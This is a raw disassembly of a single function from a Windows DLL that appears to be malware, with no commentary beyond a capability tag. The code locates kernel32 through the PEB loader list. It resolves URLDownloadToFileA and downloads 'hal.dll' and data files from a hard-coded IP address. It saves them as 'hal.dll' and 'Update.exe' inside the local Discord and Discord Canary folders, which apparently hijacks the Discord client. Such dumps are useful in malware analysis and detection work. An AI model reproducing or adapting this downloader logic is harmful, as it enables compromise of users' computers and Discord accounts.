Function at 0x180001000
Capabilities:
Access peb ldr_data

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x218
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x180], xmm7
movaps xmmword [rbp + 0x170], xmm6
mov qword [rbp + 0x168], 0xfffffffffffffffe
lea rsi, [rbp + 0x110]
mov rcx, rsi
call fcn.180002670
lea rdx, [rbp + 0x138]
mov rcx, rsi
call fcn.180002800
lea rcx, [rbp + 0x138]
lea rdx, [rbp + 0xd0]
call fcn.180002800
lea rcx, [rbp + 0xd0]
lea rsi, [rbp + 0x70]
mov rdx, rsi
call fcn.180002800
mov rax, qword [rbp + 0x80]
cmp qword [rbp + 0x88], 8
jb 0x18000108d
mov rsi, qword [rbp + 0x70]
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], rax
call fcn.1800055c0
lea r14, [rbp - 0x10]
lea r8, [rbp + 0xb0]
lea r9, [rbp + 0x40]
mov rcx, r14
mov edx, eax
call fcn.180004d40
mov rax, qword [rbp + 0x88]
cmp rax, 8
jb 0x180001102
mov rcx, qword [rbp + 0x70]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1800010fd
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 7
mov word [rbp + 0x70], 0
mov rax, qword [rbp + 0xe8]
cmp rax, 8
jb 0x18000116a
mov rcx, qword [rbp + 0xd0]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x180001165
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov qword [rbp + 0xe0], 0
mov qword [rbp + 0xe8], 7
mov word [rbp + 0xd0], 0
mov rax, qword [rbp + 0x150]
cmp rax, 8
jb 0x1800011d5
mov rcx, qword [rbp + 0x138]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1800011d0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov qword [rbp + 0x148], 0
mov qword [rbp + 0x150], 7
mov word [rbp + 0x138], 0
mov rax, qword [rbp + 0x128]
cmp rax, 8
jb 0x180001240
mov rcx, qword [rbp + 0x110]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x18000123b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov rax, qword [rbp]
cmp qword [rbp + 8], 0x10
jb 0x18000124f
mov r14, qword [rbp - 0x10]
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], rax
call fcn.1800055c0
lea rsi, [rbp + 0xd0]
lea r8, [rbp + 0x70]
mov rcx, rsi
mov edx, eax
call fcn.180004e90
cmp qword [rbp + 0xe8], 8
jb 0x180001282
mov rsi, qword [rbp + 0xd0]
lea rdx, [rbp + 0x70]
mov rcx, rsi
mov r8d, 3
mov r9d, 0xffffffff
call fcn.180005290
xor esi, esi
cmp eax, 0x34
jg 0x1800012b6
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x1800012c4
test eax, eax
jne 0x180001f02
mov sil, 1
jmp 0x1800012c4
cmp eax, 0x35
je 0x1800012c4
cmp eax, 0x7b
jne 0x180001f02
mov rax, qword [rbp + 0xe8]
cmp rax, 8
jb 0x180001310
mov rcx, qword [rbp + 0xd0]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x18000130b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180005020
test sil, sil
je 0x180001e61
xorps xmm6, xmm6
movaps xmmword [rbp + 0x70], xmm6
mov qword [rbp + 0x80], 0xe
mov qword [rbp + 0x88], 0xf
movabs rax, 0x445c6c61636f4c5c
mov qword [rbp + 0x70], rax
movabs rax, 0x64726f637369445c
mov qword [rbp + 0x76], rax
movaps xmmword [rbp + 0x90], xmm6
mov ecx, 0x20
call fcn.180004fdc
mov qword [rbp + 0x90], rax
mov qword [rbp + 0xa0], 0x14
mov qword [rbp + 0xa8], 0x1f
movups xmm0, xmmword [str.LocalDiscordCanary]
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0x7972616e
mov byte [rax + 0x14], 0
movaps xmmword [rbp + 0xe0], xmm6
movaps xmmword [rbp + 0xd0], xmm6
mov qword [rbp + 0xe8], 0xf
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x18], rax
mov ecx, 0x30
call fcn.180004fdc
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe0], 0x28
mov qword [rbp + 0xe8], 0x2f
movups xmm0, xmmword [0x180019f30]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__37.114.42.89_files_files_oem.data]
movups xmmword [rax], xmm0
movabs rcx, 0x617461642e6d656f
mov qword [rax + 0x20], rcx
mov byte [rax + 0x28], 0
lea rax, [rbp + 0xf0]
movaps xmmword [rbp + 0x100], xmm6
movaps xmmword [rbp + 0xf0], xmm6
mov qword [rbp + 0x108], 0xf
mov qword [rbp + 0x18], rax
mov ecx, 0x30
call fcn.180004fdc
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x100], 0x2a
mov qword [rbp + 0x108], 0x2f
movups xmm0, xmmword [0x180019f0f]
movups xmmword [rax + 0x1a], xmm0
movups xmm0, xmmword [0x180019f05]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__37.114.42.89_files_files_canan.data]
movups xmmword [rax], xmm0
mov byte [rax + 0x2a], 0
xor eax, eax
jmp 0x18000148a
call fcn.180005020
mov eax, dword [rbp + 0x6c]
inc eax
cmp eax, 2
jae 0x180001d37
mov dword [rbp + 0x6c], eax
mov edx, eax
shl rdx, 5
mov r13, qword [rbp]
mov r12, qword [rbp + rdx + 0x80]
mov rax, r13
movabs rcx, 0x7fffffffffffffff
xor rax, rcx
cmp rax, r12
jb 0x180001ec5
mov qword [rbp - 0x58], rdx
lea rbx, [rdx + rbp]
add rbx, 0x70
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 8]
mov rcx, qword [rbx]
mov r8, qword [rbx + 0x18]
movaps xmmword [rbp + 0x110], xmm6
movaps xmmword [rbp + 0x120], xmm6
lea r15, [r12 + r13]
mov r14d, 0xf
lea rsi, [rbp + 0x110]
cmp r15, 0x10
jb 0x18000158b
mov qword [rbp + 0x38], r8
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x20], rdx
mov rdi, r15
or rdi, 0xf
movabs rcx, 0x8000000000000000
movabs r14, 0x7fffffffffffffff
js 0x18000154f
cmp rdi, 0x17
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rdi, 0xfff
jb 0x180001569
mov r14, rdi
add rcx, 0x27
call fcn.180004fdc
mov rsi, rax
add rsi, 0x27
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x180001574
call fcn.180004fdc
mov rsi, rax
mov r14, rdi
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x38]
mov qword [rbp + 0x110], rsi
cmp r8, 0x10
cmovae rbx, rcx
cmp rax, 0x10
lea rax, [rbp - 0x10]
cmovb rdx, rax
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], r14
mov rcx, rsi
mov r8, r13
call fcn.1800073b0
add r13, rsi
mov rcx, r13
mov rdx, rbx
mov r8, r12
call fcn.1800073b0
mov byte [rsi + r15], 0
mov rax, qword [rbp + 0x120]
cmp qword [rbp + 0x128], 0x10
lea rcx, [rbp + 0x110]
jb 0x1800015ed
mov rcx, qword [rbp + 0x110]
mov qword [rbp + 0x138], rcx
mov qword [rbp + 0x140], rax
call fcn.1800055c0
lea rsi, [rbp + 0xb0]
mov rcx, rsi
mov edx, eax
lea r8, [rbp + 0x138]
call fcn.180004e90
cmp qword [rbp + 0xc8], 8
jb 0x180001629
mov rsi, qword [rbp + 0xb0]
mov rcx, rsi
lea rdx, [rbp + 0x138]
mov r8d, 3
mov r9d, 0xffffffff
call fcn.180005290
xor esi, esi
cmp eax, 0x34
jg 0x180001660
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x180001670
test eax, eax
jne 0x180001ed4
mov sil, 1
jmp 0x180001670
cmp eax, 0x35
je 0x180001670
cmp eax, 0x7b
jne 0x180001ed4
nop
mov rax, qword [rbp + 0xc8]
cmp rax, 8
jb 0x1800016bc
mov rcx, qword [rbp + 0xb0]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1800016b7
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180005020
test sil, sil
je 0x180001cea
mov rbx, qword [rbp + 0x120]
mov rax, rbx
shr rax, 3
movabs rcx, 0xfffffffffffffff
cmp rax, rcx
je 0x180001eca
mov r15, qword [rbp + 0x110]
mov rdi, qword [rbp + 0x128]
movaps xmmword [rbp + 0xb0], xmm6
movaps xmmword [rbp + 0xc0], xmm6
lea r14, [rbx + 8]
mov r12d, 0xf
lea rsi, [rbp + 0xb0]
cmp r14, 0x10
jb 0x18000177f
mov r13, r14
or r13, 0xf
movabs rcx, 0x8000000000000000
movabs r12, 0x7fffffffffffffff
js 0x180001753
cmp r13, 0x17
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
cmp r13, 0xfff
jb 0x18000176d
mov r12, r13
add rcx, 0x27
call fcn.180004fdc
mov rsi, rax
add rsi, 0x27
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x180001778
call fcn.180004fdc
mov rsi, rax
mov r12, r13
mov qword [rbp + 0xb0], rsi
cmp rdi, 0x10
lea rax, [rbp + 0x110]
cmovb r15, rax
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xc8], r12
mov rcx, rsi
mov rdx, r15
mov r8, rbx
call fcn.1800073b0
movabs rax, 0x6c6c642e6c61685c
mov qword [rsi + rbx], rax
mov byte [rsi + rbx + 8], 0
mov rbx, qword [rbp + 0x120]
movabs rax, 0x7ffffffffffffff5
cmp rbx, rax
jge 0x180001ecf
mov r15, qword [rbp + 0x110]
mov rdi, qword [rbp + 0x128]
movaps xmmword [rbp + 0x40], xmm6
movaps xmmword [rbp + 0x50], xmm6
lea r14, [rbx + 0xb]
mov r12d, 0xf
lea rsi, [rbp + 0x40]
cmp r14, 0x10
jb 0x180001864
mov r13, r14
or r13, 0xf
movabs rcx, 0x8000000000000000
movabs r12, 0x7fffffffffffffff
js 0x18000183b
cmp r13, 0x17
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
cmp r13, 0xfff
jb 0x180001855
mov r12, r13
add rcx, 0x27
call fcn.180004fdc
mov rsi, rax
add rsi, 0x27
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x180001860
call fcn.180004fdc
mov rsi, rax
mov r12, r13
mov qword [rbp + 0x40], rsi
cmp rdi, 0x10
lea rax, [rbp + 0x110]
cmovb r15, rax
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r12
mov rcx, rsi
mov rdx, r15
mov r8, rbx
call fcn.1800073b0
movabs rax, 0x2e6574616470555c
mov qword [rsi + rbx], rax
mov dword [rsi + rbx + 7], 0x6578652e
mov byte [rsi + rbx + 0xb], 0
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x20]
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x158], 0xc
mov qword [rbp + 0x160], 0xf
mov byte [rbp + 0x148], 0x4c
lea rdx, [rbp + 0x148]
mov dword [rdx + 4], 0x7262694c
mov dword [rdx + 1], 0x4c64616f
mov qword [rbp + 0x150], 0x41797261
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x138], rax
lea rcx, str.urlmon.dll
call rax
mov r12, rax
mov rax, qword [rbp + 0x160]
cmp rax, 0x10
mov rdi, qword [rbp - 0x58]
jb 0x180001974
mov rcx, qword [rbp + 0x148]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000196f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005020
movaps xmmword [rbp - 0x50], xmm6
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0xf
mov ecx, 0x20
call fcn.180004fdc
mov rsi, rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x12
mov qword [rbp - 0x38], 0x1f
movups xmm7, xmmword [str.URLDownloadToFileA]
movups xmmword [rax], xmm7
mov word [rax + 0x10], 0x4165
mov byte [rax + 0x12], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], r12
lea rax, [rbp + 0x148]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov qword [rbp + 0x160], 0xf
mov ecx, 0x20
call fcn.180004fdc
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x158], 0x12
mov qword [rbp + 0x160], 0x1f
mov ecx, dword [rsi + 0xf]
mov dword [rax + 0xf], ecx
movups xmm0, xmmword [rsi]
movups xmmword [rax], xmm0
mov edx, 0x20
mov rcx, rsi
call fcn.180005020
mov rcx, qword [rbp + 0x140]
mov rax, qword [rbp + 0x160]
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
cmp qword [rbp + 0xc8], 0x10
lea rsi, [rbp + 0xb0]
jb 0x180001a66
mov rsi, qword [rbp + 0xb0]
lea rdx, [rbp + 0x148]
cmp rax, 0x10
jb 0x180001a7a
mov rdx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x138], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
lea rdx, str.http:__37.114.42.89_files_files_hal.dll
mov r8, rsi
xor r9d, r9d
call rax
mov rax, qword [rbp + 0x160]
cmp rax, 0x10
jb 0x180001ae5
mov rcx, qword [rbp + 0x148]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001ae0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005020
movaps xmmword [rbp - 0x30], xmm6
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0xf
mov ecx, 0x20
call fcn.180004fdc
mov rsi, rax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x20], 0x12
mov qword [rbp - 0x18], 0x1f
movups xmmword [rax], xmm7
mov word [rax + 0x10], 0x4165
mov byte [rax + 0x12], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], r12
lea rax, [rbp + 0x148]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov qword [rbp + 0x160], 0xf
mov ecx, 0x20
call fcn.180004fdc
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x158], 0x12
mov qword [rbp + 0x160], 0x1f
mov ecx, dword [rsi + 0xf]
mov dword [rax + 0xf], ecx
movups xmm0, xmmword [rsi]
movups xmmword [rax], xmm0
mov edx, 0x20
mov rcx, rsi
call fcn.180005020
mov rcx, qword [rbp + 0x140]
mov rax, qword [rbp + 0x160]
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
cmp qword [rbp + 0x58], 0x10
lea rsi, [rbp + 0x40]
jb 0x180001bc7
mov rsi, qword [rbp + 0x40]
cmp qword [rbp + rdi + 0xe8], 0x10
jb 0x180001be0
mov rbx, qword [rbp + rdi + 0xd0]
jmp 0x180001beb
lea rbx, [rdi + rbp]
add rbx, 0xd0
lea rdx, [rbp + 0x148]
cmp rax, 0x10
jb 0x180001bff
mov rdx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x138], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rbx
mov r8, rsi
xor r9d, r9d
call rax
mov rax, qword [rbp + 0x160]
cmp rax, 0x10
jb 0x180001c66
mov rcx, qword [rbp + 0x148]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001c61
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov rax, qword [rbp + 0x58]
cmp rax, 0x10
jb 0x180001ca5
mov rcx, qword [rbp + 0x40]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001ca0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov rax, qword [rbp + 0xc8]
cmp rax, 0x10
jb 0x180001cea
mov rcx, qword [rbp + 0xb0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001ce5
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov rax, qword [rbp + 0x128]
cmp rax, 0x10
jb 0x180001485
mov rcx, qword [rbp + 0x110]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001480
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
jmp 0x180001480
mov rax, qword [rbp + 0x108]
cmp rax, 0xf
jbe 0x180001d7c
mov rcx, qword [rbp + 0xf0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001d77
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov qword [rbp + 0x100], 0
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
mov rax, qword [rbp + 0xe8]
cmp rax, 0x10
jb 0x180001dde
mov rcx, qword [rbp + 0xd0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001dd9
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x1f
ja 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov rax, qword [rbp + 0xa8]
cmp rax, 0xf
jbe 0x180001e23
mov rcx, qword [rbp + 0x90]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001e1e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov rax, qword [rbp + 0x88]
cmp rax, 0x10
jb 0x180001e61
mov rcx, qword [rbp + 0x70]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001e5c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x1f
ja 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005020
mov rax, qword [rbp + 8]
cmp rax, 0x10
jb 0x180001e9c
mov rcx, qword [rbp - 0x10]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001e97
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001ec0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005020
xor eax, eax
movaps xmm6, xmmword [rbp + 0x170]
movaps xmm7, xmmword [rbp + 0x180]
add rsp, 0x218
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.180008bbc
call fcn.180002e80
call fcn.180002e80
call fcn.180002e80
mov dword [rbp + 0x138], eax
lea rax, section..data
mov qword [rbp + 0x140], rax
lea rcx, str.exists
lea rdx, [rbp + 0x138]
lea r8, [rbp + 0xb0]
call sym.zlib1.dll_curl_easy_cleanup
mov dword [rbp + 0x70], eax
lea rax, section..data
mov qword [rbp + 0x78], rax
lea rcx, str.exists
lea rdx, [rbp + 0x70]
lea r8, [rbp + 0xd0]
call sym.zlib1.dll_curl_easy_cleanup
int3